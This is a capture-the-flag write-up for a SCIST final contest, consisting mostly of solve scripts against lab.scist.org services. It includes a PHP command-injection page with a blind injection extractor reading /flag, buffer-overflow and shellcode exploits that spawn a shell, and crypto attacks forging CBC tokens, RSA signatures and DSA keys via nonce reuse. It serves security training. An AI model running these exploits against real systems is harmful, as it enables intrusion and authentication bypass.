SCIST Final CTF Write Up#

1
<?php if (isset($_POST['name'])) : ?>
2
<p>
3
    <p>dig result:</p>
4
    <pre><?php
5
      exec("dig '" . $_POST['name'] . "';", $_, $return_status);
6
      if ($return_status === 0) {
7
          echo 'success';
8
      } else {
9
          echo 'fail';
10
      }
11
    ?></pre>
12
</p>
13
<?php endif; ?>

1
import requests, string
2

3
URL = "http://lab.scist.org:31601/"
4

5
def check_char(pos, c):
6
    c = c.replace("'", "'\\''").replace("\"", "\\\"").replace("$", "\\$")
7
    cmd = f"[ \"$(cut -c{pos} /flag)\" = \"{c}\" ]"
8
    payload = f"google.com' && {cmd} #"
9
    try:
10
        r = requests.post(URL, data={"name": payload}, timeout=5)
11
        return "<pre>success</pre>" in r.text
12
    except:
13
        return False
14

15
def extract_flag():
16
    charset = "SCIST{}_" + string.ascii_uppercase + string.ascii_lowercase + string.digits + "-"
17
    flag = ""
18
    for pos in range(1, 51):
19
        for c in charset:
20
            if check_char(pos, c):
21
                flag += c
22
                print(f"\r[+] {flag}")
23
                break
24
        else:
25
            break
26
    return flag
27

28
if __name__ == "__main__":
29
    f = extract_flag()
30
    print(f"{f}")

1
<?php if (isset($_POST['name'])): ?>
2
    <p>dig result:</p>
3
    <pre>
4
<?php
5
        $good = preg_match('/^(?i)(?!.*flag)[A-z0-9\'$]+$/', $_POST['name']);
6

7
        if (!$good) {
8
            echo "BAD HACKER!!!";
9
        } else {
10
            $cmd = 'bash -c "dig \'' . $_POST['name'] . '\'"';
11
            system($cmd);
12
        }
13
?>
14
    </pre>
15
<?php endif; ?>

1
dig [@server] [-b address] [-c class] [-f filename] [-k keyfile] [-m] [-p port#] [-q 名稱] [-t type] [-u] [-v] [-x addr] [-y [hmac:] name: key] [-4] [-6] [name] [type] [class] [queryopt ...]

1
# .rodata:0000000001021C00 db 54h
2
# .rodata:0000000001021C01 db 'DNTS|Mrt0X3X2njw64XA63>Xdo4dl4uX2o7rkcXe4X3Xwn4dbX7aXd3l4&z'
3

4
encrypted_first_byte = 0x54
5
encrypted_rest_string = "DNTS|Mrt0X3X2njw64XA63>Xdo4dl4uX2o7rkcXe4X3Xwn4dbX7aXd3l4&z"
6

7
encrypted_bytes = [encrypted_first_byte] + [ord(c) for c in encrypted_rest_string]
8

9
key = 7
10
decrypted_bytes = [b ^ key for b in encrypted_bytes]
11

12
flag = "".join([chr(b) for b in decrypted_bytes])
13

14
print(f"{flag}")

1
from pwn import *
2

3
p = remote("lab.scist.org", 31605)
4

5
print("Choosing weapon '7'...")
6
p.sendlineafter(b'> ', b'7')
7

8
print("Waiting for the 'Start!' signal...")
9
p.recvuntil(b'Start!\n')
10

11
print("Signal received! Firing!")
12
p.send(b' ')
13

14
print("Receiving the result...")
15

16
p.interactive()
17

18
#SCIST{H4ha_ch0051ng_4_900d_w3ap0n_15_much_m0r3_imp07ant}

1
(function (H, L) {
2
  const J = i;
3
  const m = H();
4
  while (true) {
5
    try {
6
      const I = parseInt(J(399)) / 1 * (-parseInt(J(410)) / 2) + parseInt(J(403)) / 3 * (-parseInt(J(413)) / 4) + -parseInt(J(406)) / 5 + -parseInt(J(397)) / 6 + -parseInt(J(414)) / 7 + -parseInt(J(417)) / 8 + parseInt(J(426)) / 9;
7
      if (I === L) {
8
        break;
9
      } else {
10
        m.push(m.shift());
11
      }
12
    } catch (Y) {
13
      m.push(m.shift());
14
    }
15
  }
16
})(G, 111600);
17
const a = [84, 97, 109, 97, 107, 105, 32, 75, 111, 116, 97, 116, 115, 117];
18
function G() {
19
  const X = ["arrayBuffer", "wKBck", "color", "4LAkRdM", "length", "imageInput", "116ehsHeu", "1127161FMAmaN", "ofbaM", "result", "603712xoHuuw", "not a neko", "Please upload a file", "green", "Image too small", "WnaiF", "hMsIh", "textContent", "getElementById", "5763465oMPzgo", "VeiKn", "724992NJWWXa", "Nyan!", "39315PgXeea", "red", "files", "YfLQx", "1206gaSnBI", "CqRYM", "KmABs", "405890uCeNbt"];
20
  G = function () {
21
    return X;
22
  };
23
  return G();
24
}
25
function i(H, L) {
26
  const m = G();
27
  i = function (I, Y) {
28
    I = I - 396;
29
    let d = m[I];
30
    return d;
31
  };
32
  return i(H, L);
33
}
34
function showResult(H, L) {
35
  const t = i;
36
  const m = document[t(425)](t(416));
37
  m[t(424)] = H;
38
  m.style[t(409)] = L;
39
}

1
from pwn import *
2

3
r=remote('lab.scist.org',31606)
4

5
context.arch='amd64'
6

7
p=b'a'*40+p64(0x40101a)+p64(0x401955)
8

9
r.sendlineafter('?',p)
10

11
r.interactive()

1
from pwn import *
2

3
context.arch = 'amd64'
4
context.binary = elf = ELF('./ret2sc')
5
context.log_level = 'debug'
6

7
# r = remote("lab.scist.org", 31607)
8
r = process(elf.path)
9

10
jmp_rax = 0x4010ac
11

12
stage1_shellcode = asm("""
13
    xor rdi, rdi
14
    lea rsi, [rax+8]
15
    mov dl, 0x7f
16
    xor rax, rax
17
    syscall
18
    jmp rsi
19
""")
20

21
payload = asm("nop") * 8 + stage1_shellcode
22

23
payload = payload.ljust(16, b"\x90") + p64(jmp_rax)[:7]
24

25
r.sendlineafter(b"\n", payload)
26

27
r.send(asm(shellcraft.sh()))
28
r.interactive()

1
#!/usr/bin/env python3
2
from pwn import *
3
import time
4

5
context.arch = 'amd64'
6
context.os = 'linux'
7
context.log_level = 'info'
8

9
# p = process('./chal')
10
p = remote('lab.scist.org', 31607)
11

12
jmp_rax = 0x4010ac
13

14
loader = asm("""
15
    xor edi, edi      # rdi = 0 (arg1: fd=stdin)
16
    mov rsi, rsp      # rsi = rsp (arg2: buf=current stack pointer)
17
    mov edx, 0x40     # rdx = 0x40 (arg3: count=64 bytes)
18
    xor eax, eax      # rax = 0 (syscall number for read)
19
    syscall           # 執行 read(0, rsp, 0x40)
20
    jmp rsp           # 跳到 rsp，也就是剛讀進來的 shellcode
21
""")
22

23
payload1 = loader + p64(jmp_rax)
24
assert len(payload1) == 24
25

26
log.info("Sending stage 1")
27
p.send(payload1[:23])
28
time.sleep(0.5)
29

30
log.info("Sending stage 2")
31
payload2 = asm(shellcraft.sh())
32
p.send(payload2)
33

34
p.interactive()

1
#!/usr/bin/env python3
2
from pwn import remote
3
from Crypto.Util.number import long_to_bytes
4
from math import gcd
5

6
# Conectarse al servidor del reto
7
conn = remote('lab.scist.org', 31611)
8

9
# --- Paso 1: Recuperar los estados del LCG ---
10
states = []
11
# La entrada que se convierte en 0 después del NOT es 'ff...ff' (64 bytes)
12
null_input_hex = 'ff' * 64
13

14
print("[+] Recuperando 10 estados del LCG...")
15
for i in range(10):
16
    conn.recvuntil(b'> ')
17
    conn.sendline(null_input_hex.encode())
18
    conn.recvuntil(b'oWo = ')
19
    leaked_hex = conn.recvline().strip().decode()
20
    state = int(leaked_hex, 16)
21
    states.append(state)
22
    print(f"  Estado {i+1}: {hex(state)}")
23

24
# --- Paso 2: Crackear el LCG para encontrar 'owo' ---
25
diffs = [states[i+1] - states[i] for i in range(len(states) - 1)]
26

27
# T_i = d_{i+2}*d_i - d_{i+1}^2 debe ser un múltiplo de owo
28
multiples_of_owo = []
29
for i in range(len(diffs) - 2):
30
    term = diffs[i+2] * diffs[i] - diffs[i+1]**2
31
    multiples_of_owo.append(abs(term))
32

33
# owo será el GCD de estos múltiplos
34
print("\n[+] Calculando el módulo 'owo'...")
35
owo = gcd(multiples_of_owo[0], multiples_of_owo[1])
36
for i in range(2, len(multiples_of_owo)):
37
    owo = gcd(owo, multiples_of_owo[i])
38

39
print(f"  Módulo recuperado (owo): {hex(owo)}")
40

41
# --- Paso 3: Recuperar 'OwO' y 'OWO' ---
42
C1, C2, C3 = states[0], states[1], states[2]
43
d1 = C2 - C1
44
d2 = C3 - C2
45

46
print("[+] Calculando los parámetros 'OwO' y 'OWO'...")
47
# a = d2 * (d1^-1) mod owo
48
d1_inv = pow(d1, -1, owo)
49
OwO = (d2 * d1_inv) % owo
50

51
# b = C2 - a*C1 mod owo
52
# Como el incremento es -OWO, OWO = -b = a*C1 - C2 mod owo
53
OWO = (OwO * C1 - C2) % owo
54

55
print(f"  Multiplicador recuperado (OwO): {hex(OwO)}")
56
print(f"  Parámetro recuperado (OWO): {hex(OWO)}")
57

58
# --- Paso 4: Revertir el LCG para encontrar la bandera ---
59
# Primero, encontrar el estado antes de nuestra primera interacción (C_100 en la cronología del servidor)
60
# C_1 = (OwO * C_100 - OWO) mod owo  => C_100 = (C_1 + OWO) * OwO_inv mod owo
61
print("\n[+] Revertiendo el LCG para encontrar la bandera...")
62
OwO_inv = pow(OwO, -1, owo)
63
current_state = states[0]  # Este es C_1 (o C_101 en la cronología del servidor)
64

65
# Revertir una iteración para obtener C_100
66
current_state = ((current_state + OWO) * OwO_inv) % owo
67
print(f"  Estado C_100 recuperado: {hex(current_state)}")
68

69
# Revertir las 100 iteraciones iniciales
70
# La función de inversión es: state = (state + OWO) * OwO_inv mod owo
71
for i in range(100):
72
    current_state = ((current_state + OWO) * OwO_inv) % owo
73

74
# El estado final es el valor entero de la bandera
75
flag_long = current_state
76
flag_bytes = long_to_bytes(flag_long)
77

78
print("\n" + "="*40)
79
print(f"  FLAG: {flag_bytes.decode()}")
80
print("="*40)
81

82
conn.close()

1
#!/usr/bin/env python3
2
from pwn import remote, context, log
3
import codecs
4
import time
5

6
# 將 pwntools 的日誌等級設為 'error'，避免過多輸出
7
context.log_level = 'error'
8

9
def xor(b1: bytes, b2: bytes) -> bytes:
10
    """對兩個 bytes 物件進行 XOR 運算"""
11
    return bytes([x ^ y for x, y in zip(b1, b2)])
12

13
def calculate_flip_pos() -> int:
14
    """
15
    動態計算 'admin=0' 中 '0' 的翻轉位置，不再硬編碼。
16
    """
17
    # 根據伺服器原始碼重建 passkey 的結構
18
    # 我們不需要知道 secret 的內容，只需要知道它的格式來計算長度
19
    id_string = "Tomotake_Yoshino_is_the_cutest<3"
20
    dummy_secret_hex = "00" * 8  # 8 bytes urandom -> 16 hex chars
21
    passkey_structure = f'OTP=12345678&id={id_string}&admin=0&secret={dummy_secret_hex}'
22

23
    # 找到 'admin=0' 中 '0' 的索引
24
    try:
25
        target_char_index = passkey_structure.find("admin=0") + 6
26
        if target_char_index < 6: # .find() 找不到時返回 -1
27
            raise IndexError("Cannot find 'admin=0' in plaintext structure.")
28
    except IndexError as e:
29
        log.failure(str(e))
30
        log.failure("腳本攻擊失敗，可能是伺服器端的 id 字串已更改。")
31
        exit(1)
32

33
    # 計算 '0' 在哪個明文區塊 (P_n)
34
    # P1 是區塊 0, P2 是區塊 1, ...
35
    block_index = target_char_index // 16
36
    offset_in_block = target_char_index % 16
37

38
    # 要修改 P_n，需要翻轉前一個密文塊 C_{n-1}
39
    # C_{n-1} 在完整 token (IV || C1 || C2 ...) 中的起始位置是 16 * n
40
    # 所以最終位置是 16 * n + offset
41
    final_pos = 16 * block_index + offset_in_block
42

43
    log.info(f"動態計算出的翻轉位置 (flip_pos) 為: {final_pos}")
44
    return final_pos
45

46
def attempt_attack(flip_pos: int):
47
    """執行一次攻擊"""
48
    conn = None
49
    try:
50
        conn = remote('lab.scist.org', 31609)
51
        conn.recvuntil(b'token: ')
52
        initial_token_hex = conn.recvline().strip().decode()
53
        initial_token = codecs.decode(initial_token_hex, 'hex')
54
        conn.recvuntil(b'OTP: ')
55
        server_otp = int(conn.recvline().strip().decode())
56

57
        # 偽造 admin=1，使用動態計算出的 flip_pos
58
        flip_val = ord('0') ^ ord('1')
59
        token_list = list(initial_token)
60
        token_list[flip_pos] ^= flip_val
61
        token_admin_flipped = bytes(token_list)
62

63
        # 偽造 OTP
64
        p1_original = b'OTP=12345678&id='
65
        p1_new_target = f'OTP={server_otp:08d}&id='.encode()
66
        iv_original = token_admin_flipped[:16]
67
        iv_flipped = xor(iv_original, xor(p1_original, p1_new_target))
68

69
        final_token = iv_flipped + token_admin_flipped[16:]
70
        final_token_hex = final_token.hex()
71

72
        # 發送並檢查結果
73
        conn.sendlineafter(b'token > ', final_token_hex.encode())
74
        response = conn.recvall(timeout=2).decode()
75

76
        if "FLAG" in response or "SCIST" in response:
77
            print("\n" + "="*50)
78
            print("  🎉🎉🎉 成功找到 FLAG! 🎉🎉🎉")
79
            print(f"  {response.strip()}")
80
            print("="*50)
81
            return True
82
        else:
83
            return False
84
    except Exception:
85
        return False
86
    finally:
87
        if conn:
88
            conn.close()
89

90
if __name__ == '__main__':
91
    # 首先，動態計算出最關鍵的翻轉位置
92
    flip_pos = calculate_flip_pos()
93

94
    max_retries = 50
95
    for i in range(1, max_retries + 1):
96
        print(f"[*] 正在進行第 {i}/{max_retries} 次嘗試...")
97
        if attempt_attack(flip_pos):
98
            print("\n[+] 攻擊成功！")
99
            break
100
        time.sleep(0.5)
101
    else:
102
        print("\n[-] 已達最大重試次數，攻擊失敗。")

1
#!/usr/bin/env python3
2
from pwn import remote, log
3
from Crypto.Util.number import bytes_to_long
4

5
# 連線到伺服器
6
conn = remote('lab.scist.org', 31613)
7

8
# 1. 接收 get_example() 的輸出
9
conn.recvuntil(b'pkey = ')
10
pkey_ex = int(conn.recvline().strip())
11
conn.recvuntil(b'skey = ')
12
skey_ex = int(conn.recvline().strip())
13
conn.recvuntil(b'n = ')
14
n = int(conn.recvline().strip())
15

16
log.info(f"Received n, pkey_ex, skey_ex")
17

18
# 2. 從 skey 計算私鑰指數 d
19
half = 1024 // 2
20
left_part = skey_ex >> half
21
right_part = skey_ex & ((1 << half) - 1)
22
d_ex = left_part * right_part
23

24
log.info(f"Calculated example private exponent d_ex")
25

26
# 3. 計算 M = k * phi(n)
27
# 這是整個攻擊的關鍵，M 是 phi(n) 的一個倍數
28
M = pkey_ex * d_ex - 1
29
log.info("Calculated M (a multiple of phi(n))")
30

31
# 4. 進入 get_flag() 迴圈並偽造簽章
32
# 我們只需要成功一次即可
33
log.info("Waiting for the flag challenge...")
34
conn.recvuntil(b'pkey = ')
35
pkey_chal = int(conn.recvline().strip())
36
log.info(f"Received challenge pkey = {pkey_chal}")
37

38
# 5. 計算挑戰的「偽私鑰」
39
# 關鍵捷徑：直接用 M 作為模數來計算反元素，而無需分解 n
40
try:
41
    d_chal_pseudo = pow(pkey_chal, -1, M)
42
    log.info("Calculated pseudo-private key d'_chal using M")
43
except ValueError:
44
    log.error("Failed to compute inverse. gcd(pkey_chal, M) != 1. This is rare. Try rerunning.")
45
    exit(1)
46

47
# 6. 計算簽章
48
message_bytes = b'give_me_flag'
49
message_long = bytes_to_long(message_bytes)
50

51
# S^e = m ^ e  =>  S = (m ^ e)^d
52
target = message_long ^ pkey_chal
53
signature = pow(target, d_chal_pseudo, n)
54
log.info(f"Calculated forged signature")
55

56
# 7. 發送簽章
57
conn.sendlineafter(b"signature : ", str(signature).encode())
58

59
# 8. 接收 FLAG
60
log.success("Signature sent. Receiving flag...")
61
response = conn.recvall(timeout=5).decode()
62
print("\n" + "="*20 + " FLAG " + "="*20)
63
print(response)
64
print("="*46)
65

66
conn.close()

1
#!/usr/bin/env python3
2
from pwn import remote
3
from Crypto.Util.number import bytes_to_long, long_to_bytes
4
from hashlib import sha1
5
from random import randint
6

7
# Función de hash del reto
8
def H(m):
9
    return bytes_to_long(sha1(m).digest())
10

11
# Conectar al servidor
12
conn = remote('lab.scist.org', 31612)
13

14
# --- Paso 1: Extraer parámetros públicos ---
15
print("[+] Extrayendo parámetros públicos del servidor...")
16
conn.recvuntil(b'p = ')
17
p = int(conn.recvline().strip())
18
conn.recvuntil(b'q = ')
19
q = int(conn.recvline().strip())
20
conn.recvuntil(b'g = ')
21
g = int(conn.recvline().strip())
22
conn.recvuntil(b'y = ')
23
y = int(conn.recvline().strip())
24

25
# CORREGIDO: Convertir a string antes de rebanar
26
print(f"  p = {str(p)[:20]}... q = {str(q)[:20]}...")
27

28
# --- Paso 2: Obtener dos firmas con el mismo nonce ---
29
print("\n[+] Obteniendo firmas para realizar el ataque de reutilización de nonce...")
30

31
# Obtener la primera firma en t=0
32
conn.recvuntil(b'> ')
33
conn.sendline(b'e')
34
conn.recvuntil(b'> ')
35
conn.sendline(b'a') # Mensaje 'AyachiNene'
36
conn.recvuntil(b'r = ')
37
r1 = int(conn.recvline().strip())
38
conn.recvuntil(b's = ')
39
s1 = int(conn.recvline().strip())
40
m1 = b'AyachiNene'
41
# CORREGIDO: Convertir a string antes de rebanar
42
print(f"  Firma 1 (t=0) para '{m1.decode()}': (r={str(r1)[:10]}..., s={str(s1)[:10]}...)")
43

44
# Avanzar el contador t de 1 a 5
45
for i in range(5):
46
    conn.recvuntil(b'> ')
47
    conn.sendline(b'e')
48
    conn.recvuntil(b'> ')
49
    conn.sendline(b'i') # Cualquier mensaje sirve
50

51
print("  Avanzando el contador de tiempo de t=1 a t=5...")
52

53
# Obtener la segunda firma en t=6 (nonce se reutiliza)
54
conn.recvuntil(b'> ')
55
conn.sendline(b'e')
56
conn.recvuntil(b'> ')
57
conn.sendline(b'i') # Mensaje 'InabaMeguru'
58
conn.recvuntil(b'r = ')
59
r2 = int(conn.recvline().strip())
60
conn.recvuntil(b's = ')
61
s2 = int(conn.recvline().strip())
62
m2 = b'InabaMeguru'
63
# CORREGIDO: Convertir a string antes de rebanar
64
print(f"  Firma 2 (t=6) para '{m2.decode()}': (r={str(r2)[:10]}..., s={str(s2)[:10]}...)")
65

66
# --- Paso 3: Calcular la clave privada 'x' ---
67
print("\n[+] Calculando la clave privada 'x'...")
68
h1 = H(m1)
69
h2 = H(m2)
70

71
# x = (s1*H(m2) - s2*H(m1)) * (s2*r1 - s1*r2)^-1 mod q
72
num = (s1 * h2 - s2 * h1) % q
73
den = (s2 * r1 - s1 * r2) % q
74
den_inv = pow(den, -1, q)
75
x = (num * den_inv) % q
76
# CORREGIDO: Convertir a string antes de rebanar
77
print(f"  Clave privada recuperada (x): {str(x)[:20]}...")
78

79
# --- Paso 4: Falsificar la firma para 'GET_FLAG' ---
80
print("\n[+] Falsificando la firma para el mensaje 'GET_FLAG'...")
81
m_flag = b'GET_FLAG'
82
h_flag = H(m_flag)
83

84
# Generar una firma válida con nuestra clave privada 'x'
85
k_new = randint(1, q - 1)
86
r_flag = pow(g, k_new, p) % q
87
s_flag = (pow(k_new, -1, q) * (h_flag + x * r_flag)) % q
88

89
# CORREGIDO: Convertir a string antes de rebanar
90
print(f"  Firma falsificada: (r={str(r_flag)[:10]}..., s={str(s_flag)[:10]}...)")
91

92
# --- Paso 5: Enviar la firma y obtener la bandera ---
93
print("\n[+] Enviando firma falsificada al servidor...")
94
conn.recvuntil(b'> ')
95
conn.sendline(b'g')
96
conn.recvuntil(b'r: ')
97
conn.sendline(str(r_flag).encode())
98
conn.recvuntil(b's: ')
99
conn.sendline(str(s_flag).encode())
100

101
# Leer la respuesta del servidor
102
response = conn.recvall().decode()
103
print("\n" + "="*50)
104
print("  Respuesta del Servidor:")
105
print(response.strip())
106
print("="*50)

1
from pwn import *
2
import re
3

4
HOST = 'lab.scist.org'
5
PORT = 31603
6

7
log.info(f"Connecting to {HOST}:{PORT}")
8
p = remote(HOST, PORT)
9

10
p.recvuntil(b"Enter code: ")
11

12
p.sendline(b"patch")
13

14
p.recvuntil(b"src: ")
15
p.sendline(b"_Printer__filenames")
16

17
p.recvuntil(b"dst: ")
18
p.sendline(b"_MIT__flag")
19

20
p.recvuntil(b"Enter code: ")
21
p.sendline(b"license")
22

23
p.interactive()
24
#SCIST{MIT-license_can_readfile!}